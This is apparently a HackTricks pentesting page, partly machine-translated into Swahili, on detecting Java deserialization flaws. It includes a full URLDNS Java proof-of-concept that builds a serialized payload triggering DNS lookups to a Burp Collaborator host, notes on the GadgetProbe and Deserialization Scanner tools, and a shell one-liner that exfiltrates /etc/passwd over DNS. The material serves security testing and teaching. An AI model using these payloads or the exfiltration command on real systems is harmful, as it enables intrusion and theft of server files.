Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

DNS request on deserialization

Darasa java.net.URL linafanya kazi Serializable, hii inamaanisha kwamba darasa hili linaweza kuandikwa.

public final class URL implements java.io.Serializable {

Hii darasa lina tabia ya kushangaza. Kutoka kwenye hati: “Wenyeji wawili wanachukuliwa kuwa sawa ikiwa majina yote ya mwenyeji yanaweza kutatuliwa kuwa anwani sawa za IP.” Basi, kila wakati kitu cha URL kinapoitisha yoyote ya kazi equals au hashCode ombi la DNS kupata Anwani ya IP litakuwa litatumwa.

Kuita kazi hashCode kutoka kwa kitu cha URL ni rahisi sana, inatosha kuingiza kitu hiki ndani ya HashMap ambacho kitakuwa kinachakatwa. Hii ni kwa sababu mwishoni mwa kazi readObject kutoka HashMap hii nambari inatekelezwa:

private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
[   ...   ]
for (int i = 0; i < mappings; i++) {
[   ...   ]
putVal(hash(key), key, value, false, false);
}

It is going the execute putVal with every value inside the HashMap. But, more relevant is the call to hash with every value. This is the code of the hash function:

static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

Kama unavyoweza kuona, wakati wa deserialization ya HashMap kazi hash itatekelezwa na kila kitu na wakati wa utekelezaji wa hash itaweza kutekelezwa .hashCode() ya kitu. Hivyo, ikiwa unafanya deserialization ya HashMap iliyokuwa na kitu cha URL, kitu cha URL kita tekeleza .hashCode().

Sasa, hebu tuangalie msimbo wa URLObject.hashCode():

public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;

Kama unavyoona, wakati URLObject inatekeleza .hashCode() inaitwa hashCode(this). Kuendelea unaweza kuona msimbo wa kazi hii:

protected int hashCode(URL u) {
int h = 0;

// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();

// Generate the host part.
InetAddress addr = getHostAddress(u);
[   ...   ]

You can see that a getHostAddress is executed to the domain, kuanzisha ombi la DNS.

Therefore, this class can be kutumiwa vibaya in order to kuanzisha a ombio la DNS to kuonyesha that deserialization is possible, or even to kuondoa taarifa (you can append as subdomain the output of a command execution).

URLDNS payload code example

You can find the URDNS payload code from ysoserial here. However, just for make it easier to understand how to code it I created my own PoC (based on the one from ysoserial):

import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;

public class URLDNS {
public static void GeneratePayload(Object instance, String file)
throws Exception {
//Serialize the constructed payload and write it to the file
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//Read the written payload and deserialize it
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
Object obj = in.readObject();
System.out.println(obj);
in.close();
}

public static void main(final String[] args) throws Exception {
String url = "http://3tx71wjbze3ihjqej2tjw7284zapye.burpcollaborator.net";
HashMap ht = new HashMap(); // HashMap that will contain the URL
URLStreamHandler handler = new SilentURLStreamHandler();
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

// During the put above, the URL's hashCode is calculated and cached.
// This resets that so the next time hashCode is called a DNS lookup will be triggered.
final Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u, -1);

//Test the payloads
GeneratePayload(ht, "C:\\Users\\Public\\payload.serial");
}
}


class SilentURLStreamHandler extends URLStreamHandler {

protected URLConnection openConnection(URL u) throws IOException {
return null;
}

protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}

More information

• https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/

• Katika wazo la asili, mzigo wa makusanyo ya kawaida ulibadilishwa ili kutekeleza uchunguzi wa DNS, hii ilikuwa na uaminifu mdogo kuliko njia iliyopendekezwa, lakini hii ndiyo chapisho: https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/

GadgetProbe

Unaweza kupakua GadgetProbe kutoka Duka la Burp Suite (Extender).

GadgetProbe itajaribu kubaini kama darasa la Java fulani lipo kwenye darasa la Java la seva ili uweze kujua kama lina udhaifu kwa exploit inayojulikana.

How does it work

GadgetProbe itatumia mzigo wa DNS wa sehemu ya awali lakini kabla ya kuendesha uchunguzi wa DNS itajaribu kufanya deserialization ya darasa lolote. Ikiwa darasa lolote lipo, uchunguzi wa DNS uta tumwa na GadgetProbe itakumbuka kwamba darasa hili lipo. Ikiwa ombio la DNS halijatumwa kamwe, hii inamaanisha kwamba darasa lolote halikufanywa deserialization kwa mafanikio hivyo labda halipo au halitambuliki/haliwezi kutumika.

Ndani ya github, GadgetProbe ina orodha za maneno zenye madarasa ya Java kwa ajili ya kupimwa.

https://github.com/BishopFox/GadgetProbe/blob/master/assets/intruder4.gif

More Information

• https://know.bishopfox.com/research/gadgetprobe

Java Deserialization Scanner

Scanner hii inaweza kupakuliwa kutoka Duka la Burp App (Extender). Kiongezeo kina uwezo wa kupita na kazi.

Passive

Kwa kawaida inachunguza kwa njia ya kupita maombi yote na majibu yaliyotumwa ikiangalia baiti za uchawi za Java zilizosajiliwa na itawasilisha onyo la udhaifu ikiwa yoyote itapatikana:

https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/

Active

Manual Testing

Unaweza kuchagua ombi, bonyeza kulia na Send request to DS - Manual Testing. Kisha, ndani ya Deserialization Scanner Tab --> Manual testing tab unaweza kuchagua nukta ya kuingiza. Na anzisha upimaji (Chagua shambulio linalofaa kulingana na uandishi uliofanywa).

https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/

Hata kama hii inaitwa "Manual testing", ni otomatiki sana. Itakagua kiotomatiki kama deserialization ina udhaifu kwa mzigo wowote wa ysoserial ikichunguza maktaba zilizopo kwenye seva ya wavuti na itaonyesha zile zenye udhaifu. Ili kuangalia maktaba zenye udhaifu unaweza kuchagua kuanzisha Javas Sleeps, sleeps kupitia matumizi ya CPU, au kutumia DNS kama ilivyotajwa hapo awali.

Exploiting

Mara tu unapokuwa umepata maktaba yenye udhaifu unaweza kutuma ombi kwenye Exploiting Tab. Katika tab hii unapaswa kuchagua nukta ya kuingiza tena, na kuandika maktaba yenye udhaifu unayotaka kuunda mzigo kwa, na amri. Kisha, bonyeza tu kitufe cha Attack kinachofaa.

https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/

Java Deserialization DNS Exfil information

Fanya mzigo wako utekeleze kitu kama ifuatavyo:

(i=0;tar zcf - /etc/passwd | xxd -p -c 31 | while read line; do host $line.$i.cl1k22spvdzcxdenxt5onx5id9je73.burpcollaborator.net;i=$((i+1)); done)

More Information

• https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/

Jifunze & fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Jifunze & fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Angalia mpango wa usajili!

• Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.

• Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.